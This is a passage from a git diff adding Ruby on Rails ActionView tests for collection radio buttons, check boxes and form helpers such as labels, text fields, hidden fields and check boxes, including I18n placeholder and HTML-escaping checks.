+ assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+ assert_select 'input#user_active_true[type=radio]'
+ end
+ assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+ assert_select 'input#user_active_false[type=radio]'
+ end
+ end
+
+ test 'collection radio with block helpers allows access to the current object item in the collection to access extra properties' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => b.object) { b.radio_button + b.text }
+ end
+
+ assert_select 'label.true[for=user_active_true]', 'true' do
+ assert_select 'input#user_active_true[type=radio]'
+ end
+ assert_select 'label.false[for=user_active_false]', 'false' do
+ assert_select 'input#user_active_false[type=radio]'
+ end
+ end
+
+ test 'collection radio buttons with fields for' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ @output_buffer = fields_for(:post) do |p|
+ p.collection_radio_buttons :category_id, collection, :id, :name
+ end
+
+ assert_select 'input#post_category_id_1[type=radio][value="1"]'
+ assert_select 'input#post_category_id_2[type=radio][value="2"]'
+
+ assert_select 'label[for=post_category_id_1]', 'Category 1'
+ assert_select 'label[for=post_category_id_2]', 'Category 2'
+ end
+
+ test 'collection radio accepts checked item which has a value of false' do
+ with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => false
+ assert_no_select 'input[type=radio][value=true][checked=checked]'
+ assert_select 'input[type=radio][value=false][checked=checked]'
+ end
+
+ # COLLECTION CHECK BOXES
+ test 'collection check boxes accepts a collection and generate a series of checkboxes for value method' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+ assert_select 'input#user_category_ids_1[type=checkbox][value="1"]'
+ assert_select 'input#user_category_ids_2[type=checkbox][value="2"]'
+ end
+
+ test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+ assert_select "input[type=hidden][name='user[category_ids][]'][value='']", :count => 1
+ end
+
+ test 'collection check boxes generates a hidden field using the given :name in :html_options' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name, {}, {name: "user[other_category_ids][]"}
+
+ assert_select "input[type=hidden][name='user[other_category_ids][]'][value='']", :count => 1
+ end
+
+ test 'collection check boxes generates a hidden field with index if it was provided' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name, { index: 322 }
+
+ assert_select "input[type=hidden][name='user[322][category_ids][]'][value='']", count: 1
+ end
+
+ test 'collection check boxes does not generate a hidden field if include_hidden option is false' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name, include_hidden: false
+
+ assert_select "input[type=hidden][name='user[category_ids][]'][value='']", :count => 0
+ end
+
+ test 'collection check boxes accepts a collection and generate a series of checkboxes with labels for label method' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+ assert_select 'label[for=user_category_ids_1]', 'Category 1'
+ assert_select 'label[for=user_category_ids_2]', 'Category 2'
+ end
+
+ test 'collection check boxes handles camelized collection values for labels correctly' do
+ with_collection_check_boxes :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+ assert_select 'label[for=user_active_yes]', 'Yes'
+ assert_select 'label[for=user_active_no]', 'No'
+ end
+
+ test 'collection check box should sanitize collection values for labels correctly' do
+ with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+ assert_select 'label[for=user_name_099]', '$0.99'
+ assert_select 'label[for=user_name_199]', '$1.99'
+ end
+
+ test 'collection check boxes accepts html options as the last element of array' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :first, :second
+
+ assert_select 'input[type=checkbox][value="1"].foo'
+ assert_select 'input[type=checkbox][value="2"].bar'
+ end
+
+ test 'collection check boxes sets the label class defined inside the block' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+ b.label(class: 'collection_check_boxes')
+ end
+
+ assert_select 'label.collection_check_boxes[for=user_active_category_1]'
+ assert_select 'label.collection_check_boxes[for=user_active_category_2]'
+ end
+
+ test 'collection check boxes does not include the input class in the respective label' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_category_1]'
+ assert_no_select 'label.bar[for=user_active_category_2]'
+ end
+
+ test 'collection check boxes accepts selected values as :checked option' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
+
+ assert_select 'input[type=checkbox][value="1"][checked=checked]'
+ assert_select 'input[type=checkbox][value="3"][checked=checked]'
+ assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+ end
+
+ test 'collection check boxes accepts selected string values as :checked option' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
+
+ assert_select 'input[type=checkbox][value="1"][checked=checked]'
+ assert_select 'input[type=checkbox][value="3"][checked=checked]'
+ assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+ end
+
+ test 'collection check boxes accepts a single checked value' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
+
+ assert_select 'input[type=checkbox][value="3"][checked=checked]'
+ assert_no_select 'input[type=checkbox][value="1"][checked=checked]'
+ assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+ end
+
+ test 'collection check boxes accepts selected values as :checked option and override the model values' do
+ user = Struct.new(:category_ids).new(2)
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+
+ @output_buffer = fields_for(:user, user) do |p|
+ p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
+ end
+
+ assert_select 'input[type=checkbox][value="1"][checked=checked]'
+ assert_select 'input[type=checkbox][value="3"][checked=checked]'
+ assert_no_select 'input[type=checkbox][value="2"][checked=checked]'
+ end
+
+ test 'collection check boxes accepts multiple disabled items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
+
+ assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+ assert_select 'input[type=checkbox][value="3"][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+ end
+
+ test 'collection check boxes accepts single disabled item' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
+
+ assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+ end
+
+ test 'collection check boxes accepts a proc to disabled items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
+
+ assert_select 'input[type=checkbox][value="1"][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value="3"][disabled=disabled]'
+ assert_no_select 'input[type=checkbox][value="2"][disabled=disabled]'
+ end
+
+ test 'collection check boxes accepts multiple readonly items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => [1, 3]
+
+ assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+ assert_select 'input[type=checkbox][value="3"][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+ end
+
+ test 'collection check boxes accepts single readonly item' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => 1
+
+ assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+ end
+
+ test 'collection check boxes accepts a proc to readonly items' do
+ collection = (1..3).map{|i| [i, "Category #{i}"] }
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, :readonly => proc { |i| i.first == 1 }
+
+ assert_select 'input[type=checkbox][value="1"][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value="3"][readonly=readonly]'
+ assert_no_select 'input[type=checkbox][value="2"][readonly=readonly]'
+ end
+
+ test 'collection check boxes accepts html options' do
+ collection = [[1, 'Category 1'], [2, 'Category 2']]
+ with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
+
+ assert_select 'input.check[type=checkbox][value="1"]'
+ assert_select 'input.check[type=checkbox][value="2"]'
+ end
+
+ test 'collection check boxes with fields for' do
+ collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+ @output_buffer = fields_for(:post) do |p|
+ p.collection_check_boxes :category_ids, collection, :id, :name
+ end
+
+ assert_select 'input#post_category_ids_1[type=checkbox][value="1"]'
+ assert_select 'input#post_category_ids_2[type=checkbox][value="2"]'
+
+ assert_select 'label[for=post_category_ids_1]', 'Category 1'
+ assert_select 'label[for=post_category_ids_2]', 'Category 2'
+ end
+
+ test 'collection check boxes does not wrap input inside the label' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'input[type=checkbox] + label'
+ assert_no_select 'label input'
+ end
+
+ test 'collection check boxes accepts a block to render the label as check box wrapper' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label { b.check_box }
+ end
+
+ assert_select 'label[for=user_active_true] > input#user_active_true[type=checkbox]'
+ assert_select 'label[for=user_active_false] > input#user_active_false[type=checkbox]'
+ end
+
+ test 'collection check boxes accepts a block to change the order of label and check box' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label + b.check_box
+ end
+
+ assert_select 'label[for=user_active_true] + input#user_active_true[type=checkbox]'
+ assert_select 'label[for=user_active_false] + input#user_active_false[type=checkbox]'
+ end
+
+ test 'collection check boxes with block helpers accept extra html options' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => "check_box") + b.check_box(:class => "check_box")
+ end
+
+ assert_select 'label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]'
+ assert_select 'label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]'
+ end
+
+ test 'collection check boxes with block helpers allows access to current text and value' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:"data-value" => b.value) { b.check_box + b.text }
+ end
+
+ assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+ assert_select 'input#user_active_true[type=checkbox]'
+ end
+ assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+ assert_select 'input#user_active_false[type=checkbox]'
+ end
+ end
+
+ test 'collection check boxes with block helpers allows access to the current object item in the collection to access extra properties' do
+ with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => b.object) { b.check_box + b.text }
+ end
+
+ assert_select 'label.true[for=user_active_true]', 'true' do
+ assert_select 'input#user_active_true[type=checkbox]'
+ end
+ assert_select 'label.false[for=user_active_false]', 'false' do
+ assert_select 'input#user_active_false[type=checkbox]'
+ end
+ end
+end
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
new file mode 100644
index 0000000000..a131752b2a
--- /dev/null
+++ b/actionview/test/template/form_helper_test.rb
@@ -0,0 +1,3384 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class FormHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::FormHelper
+
+ def form_for(*)
+ @output_buffer = super
+ end
+
+ teardown do
+ I18n.backend.reload!
+ end
+
+ setup do
+ # Create "label" locale for testing I18n label helpers
+ I18n.backend.store_translations 'label', {
+ activemodel: {
+ attributes: {
+ post: {
+ cost: "Total cost"
+ },
+ :"post/language" => {
+ spanish: "Espanol"
+ }
+ }
+ },
+ helpers: {
+ label: {
+ post: {
+ body: "Write entire text here",
+ color: {
+ red: "Rojo"
+ },
+ comments: {
+ body: "Write body here"
+ }
+ },
+ tag: {
+ value: "Tag"
+ }
+ }
+ }
+ }
+
+ # Create "submit" locale for testing I18n submit helpers
+ I18n.backend.store_translations 'submit', {
+ helpers: {
+ submit: {
+ create: 'Create %{model}',
+ update: 'Confirm %{model} changes',
+ submit: 'Save changes',
+ another_post: {
+ update: 'Update your %{model}'
+ }
+ }
+ }
+ }
+
+ I18n.backend.store_translations 'placeholder', {
+ activemodel: {
+ attributes: {
+ post: {
+ cost: "Total cost"
+ },
+ :"post/cost" => {
+ uk: "Pounds"
+ }
+ }
+ },
+ helpers: {
+ placeholder: {
+ post: {
+ title: "What is this about?",
+ written_on: {
+ spanish: "Escrito en"
+ },
+ comments: {
+ body: "Write body here"
+ }
+ },
+ tag: {
+ value: "Tag"
+ }
+ }
+ }
+ }
+
+ @post = Post.new
+ @comment = Comment.new
+ def @post.errors()
+ Class.new {
+ def [](field); field == "author_name" ? ["can't be empty"] : [] end
+ def empty?() false end
+ def count() 1 end
+ def full_messages() ["Author name can't be empty"] end
+ }.new
+ end
+ def @post.to_key; [123]; end
+ def @post.id_before_type_cast; 123; end
+ def @post.to_param; '123'; end
+
+ @post.persisted = true
+ @post.title = "Hello World"
+ @post.author_name = ""
+ @post.body = "Back to the hill and over it again!"
+ @post.secret = 1
+ @post.written_on = Date.new(2004, 6, 15)
+
+ @post.comments = []
+ @post.comments << @comment
+
+ @post.tags = []
+ @post.tags << Tag.new
+
+ @car = Car.new("#000FFF")
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new
+ Routes.draw do
+ resources :posts do
+ resources :comments
+ end
+
+ namespace :admin do
+ resources :posts do
+ resources :comments
+ end
+ end
+
+ get "/foo", to: "controller#action"
+ root to: "main#index"
+ end
+
+ def _routes
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def url_for(object)
+ @url_for_options = object
+
+ if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
+ object.merge!(controller: "main", action: "index")
+ end
+
+ super
+ end
+
+ class FooTag < ActionView::Helpers::Tags::Base
+ def initialize; end
+ end
+
+ def test_tags_base_child_without_render_method
+ assert_raise(NotImplementedError) { FooTag.new.render }
+ end
+
+ def test_label
+ assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
+ assert_dom_equal(
+ '<label for="post_title">The title goes here</label>',
+ label("post", "title", "The title goes here")
+ )
+ assert_dom_equal(
+ '<label class="title_label" for="post_title">Title</label>',
+ label("post", "title", nil, class: 'title_label')
+ )
+ assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
+ end
+
+ def test_label_with_symbols
+ assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
+ assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
+ end
+
+ def test_label_with_locales_strings
+ with_locale :label do
+ assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
+ end
+ end
+
+ def test_label_with_human_attribute_name
+ with_locale :label do
+ assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
+ end
+ end
+
+ def test_label_with_human_attribute_name_and_options
+ with_locale :label do
+ assert_dom_equal('<label for="post_language_spanish">Espanol</label>', label(:post, :language, value: "spanish"))
+ end
+ end
+
+ def test_label_with_locales_symbols
+ with_locale :label do
+ assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
+ end
+ end
+
+ def test_label_with_locales_and_options
+ with_locale :label do
+ assert_dom_equal(
+ '<label for="post_body" class="post_body">Write entire text here</label>',
+ label(:post, :body, class: "post_body")
+ )
+ end
+ end
+
+ def test_label_with_locales_and_value
+ with_locale :label do
+ assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
+ end
+ end
+
+ def test_label_with_locales_and_nested_attributes
+ with_locale :label do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.label(:body)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<label for="post_comments_attributes_0_body">Write body here</label>'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_label_with_locales_fallback_and_nested_attributes
+ with_locale :label do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:tags) do |cf|
+ concat cf.label(:value)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<label for="post_tags_attributes_0_value">Tag</label>'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_label_with_for_attribute_as_symbol
+ assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, for: "my_for"))
+ end
+
+ def test_label_with_for_attribute_as_string
+ assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
+ end
+
+ def test_label_does_not_generate_for_attribute_when_given_nil
+ assert_dom_equal('<label>Title</label>', label(:post, :title, for: nil))
+ end
+
+ def test_label_with_id_attribute_as_symbol
+ assert_dom_equal(
+ '<label for="post_title" id="my_id">Title</label>',
+ label(:post, :title, nil, id: "my_id")
+ )
+ end
+
+ def test_label_with_id_attribute_as_string
+ assert_dom_equal(
+ '<label for="post_title" id="my_id">Title</label>',
+ label(:post, :title, nil, "id" => "my_id")
+ )
+ end
+
+ def test_label_with_for_and_id_attributes_as_symbol
+ assert_dom_equal(
+ '<label for="my_for" id="my_id">Title</label>',
+ label(:post, :title, nil, for: "my_for", id: "my_id")
+ )
+ end
+
+ def test_label_with_for_and_id_attributes_as_string
+ assert_dom_equal(
+ '<label for="my_for" id="my_id">Title</label>',
+ label(:post, :title, nil, "for" => "my_for", "id" => "my_id")
+ )
+ end
+
+ def test_label_for_radio_buttons_with_value
+ assert_dom_equal(
+ '<label for="post_title_great_title">The title goes here</label>',
+ label("post", "title", "The title goes here", value: "great_title")
+ )
+ assert_dom_equal(
+ '<label for="post_title_great_title">The title goes here</label>',
+ label("post", "title", "The title goes here", value: "great title")
+ )
+ end
+
+ def test_label_with_block
+ assert_dom_equal(
+ '<label for="post_title">The title, please:</label>',
+ label(:post, :title) { "The title, please:" }
+ )
+ end
+
+ def test_label_with_block_and_html
+ assert_dom_equal(
+ '<label for="post_terms">Accept <a href="/terms">Terms</a>.</label>',
+ label(:post, :terms) { 'Accept <a href="/terms">Terms</a>.'.html_safe }
+ )
+ end
+
+ def test_label_with_block_and_options
+ assert_dom_equal(
+ '<label for="my_for">The title, please:</label>',
+ label(:post, :title, "for" => "my_for") { "The title, please:" }
+ )
+ end
+
+ def test_label_with_block_and_builder
+ with_locale :label do
+ assert_dom_equal(
+ '<label for="post_body"><b>Write entire text here</b></label>',
+ label(:post, :body) { |b| "<b>#{b.translation}</b>".html_safe }
+ )
+ end
+ end
+
+ def test_label_with_block_in_erb
+ assert_dom_equal(
+ %{<label for="post_message">\n Message\n <input id="post_message" name="post[message]" type="text" />\n</label>},
+ view.render("test/label_with_block")
+ )
+ end
+
+ def test_text_field_placeholder_without_locales
+ with_locale :placeholder do
+ assert_dom_equal('<input id="post_body" name="post[body]" placeholder="Body" type="text" value="Back to the hill and over it again!" />', text_field(:post, :body, placeholder: true))
+ end
+ end
+
+ def test_text_field_placeholder_with_locales
+ with_locale :placeholder do
+ assert_dom_equal('<input id="post_title" name="post[title]" placeholder="What is this about?" type="text" value="Hello World" />', text_field(:post, :title, placeholder: true))
+ end
+ end
+
+ def test_text_field_placeholder_with_human_attribute_name
+ with_locale :placeholder do
+ assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Total cost" type="text" />', text_field(:post, :cost, placeholder: true))
+ end
+ end
+
+ def test_text_field_placeholder_with_string_value
+ with_locale :placeholder do
+ assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="HOW MUCH?" type="text" />', text_field(:post, :cost, placeholder: "HOW MUCH?"))
+ end
+ end
+
+ def test_text_field_placeholder_with_human_attribute_name_and_value
+ with_locale :placeholder do
+ assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Pounds" type="text" />', text_field(:post, :cost, placeholder: :uk))
+ end
+ end
+
+ def test_text_field_placeholder_with_locales_and_value
+ with_locale :placeholder do
+ assert_dom_equal('<input id="post_written_on" name="post[written_on]" placeholder="Escrito en" type="text" value="2004-06-15" />', text_field(:post, :written_on, placeholder: :spanish))
+ end
+ end
+
+ def test_text_field_placeholder_with_locales_and_nested_attributes
+ with_locale :placeholder do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.text_field(:body, placeholder: true)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<input id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here" type="text" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_text_field_placeholder_with_locales_fallback_and_nested_attributes
+ with_locale :placeholder do
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ f.fields_for(:tags) do |cf|
+ concat cf.text_field(:value, placeholder: true)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag" type="text" value="new tag" />'
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+ end
+
+ def test_text_field
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="text" value="Hello World" />',
+ text_field("post", "title")
+ )
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="password" />',
+ password_field("post", "title")
+ )
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="password" value="Hello World" />',
+ password_field("post", "title", value: @post.title)
+ )
+ assert_dom_equal(
+ '<input id="person_name" name="person[name]" type="password" />',
+ password_field("person", "name")
+ )
+ end
+
+ def test_text_field_with_escapes
+ @post.title = "<b>Hello World</b>"
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
+ text_field("post", "title")
+ )
+ end
+
+ def test_text_field_with_html_entities
+ @post.title = "The HTML Entity for & is &amp;"
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
+ text_field("post", "title")
+ )
+ end
+
+ def test_text_field_with_options
+ expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", "size" => 35)
+ assert_dom_equal expected, text_field("post", "title", size: 35)
+ end
+
+ def test_text_field_assuming_size
+ expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
+ assert_dom_equal expected, text_field("post", "title", maxlength: 35)
+ end
+
+ def test_text_field_removing_size
+ expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
+ assert_dom_equal expected, text_field("post", "title", maxlength: 35, size: nil)
+ end
+
+ def test_text_field_with_nil_value
+ expected = '<input id="post_title" name="post[title]" type="text" />'
+ assert_dom_equal expected, text_field("post", "title", value: nil)
+ end
+
+ def test_text_field_with_nil_name
+ expected = '<input id="post_title" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field("post", "title", name: nil)
+ end
+
+ def test_text_field_doesnt_change_param_values
+ object_name = 'post[]'
+ expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
+ assert_dom_equal expected, text_field(object_name, "title")
+ end
+
+ def test_file_field_has_no_size
+ expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
+ assert_dom_equal expected, file_field("user", "avatar")
+ end
+
+ def test_file_field_with_multiple_behavior
+ expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+ assert_dom_equal expected, file_field("import", "file", :multiple => true)
+ end
+
+ def test_file_field_with_multiple_behavior_and_explicit_name
+ expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
+ assert_dom_equal expected, file_field("import", "file", :multiple => true, :name => "custom")
+ end
+
+ def test_hidden_field
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+ hidden_field("post", "title")
+ )
+ assert_dom_equal(
+ '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
+ hidden_field("post", "secret?")
+ )
+ end
+
+ def test_hidden_field_with_escapes
+ @post.title = "<b>Hello World</b>"
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
+ hidden_field("post", "title")
+ )
+ end
+
+ def test_hidden_field_with_nil_value
+ expected = '<input id="post_title" name="post[title]" type="hidden" />'
+ assert_dom_equal expected, hidden_field("post", "title", value: nil)
+ end
+
+ def test_hidden_field_with_options
+ assert_dom_equal(
+ '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+ hidden_field("post", "title", value: "Something Else")
+ )
+ end
+
+ def test_text_field_with_custom_type
+ assert_dom_equal(
+ '<input id="user_email" name="user[email]" type="email" />',
+ text_field("user", "email", type: "email")
+ )
+ end
+
+ def test_check_box_is_html_safe
+ assert check_box("post", "secret").html_safe?
+ end
+
+ def test_check_box_checked_if_object_value_is_same_that_check_value
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+ end
+
+ def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
+ @post.secret = 0
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+ end
+
+ def test_check_box_checked_if_option_checked_is_present
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "checked"=>"checked")
+ )
+ end
+
+ def test_check_box_checked_if_object_value_is_true
+ @post.secret = true
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret?")
+ )
+ end
+
+ def test_check_box_checked_if_object_value_includes_checked_value
+ @post.secret = ['0']
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+
+ @post.secret = ['1']
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+
+ @post.secret = Set.new(['1'])
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret")
+ )
+ end
+
+ def test_check_box_with_include_hidden_false
+ @post.secret = false
+ assert_dom_equal(
+ '<input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", include_hidden: false)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
+ @post.secret = "on"
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+ check_box("post", "secret", {}, "on", "off")
+ )
+
+ @post.secret = "off"
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+ check_box("post", "secret", {}, "on", "off")
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
+ @post.secret = false
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+ check_box("post", "secret", {}, false, true)
+ )
+
+ @post.secret = true
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+ check_box("post", "secret", {}, false, true)
+ )
+ end
+
+ def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
+ @post.secret = 0
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 1
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+ check_box("post", "secret", {}, 0, 1)
+ )
+
+ @post.secret = 2
+ assert_dom_equal(
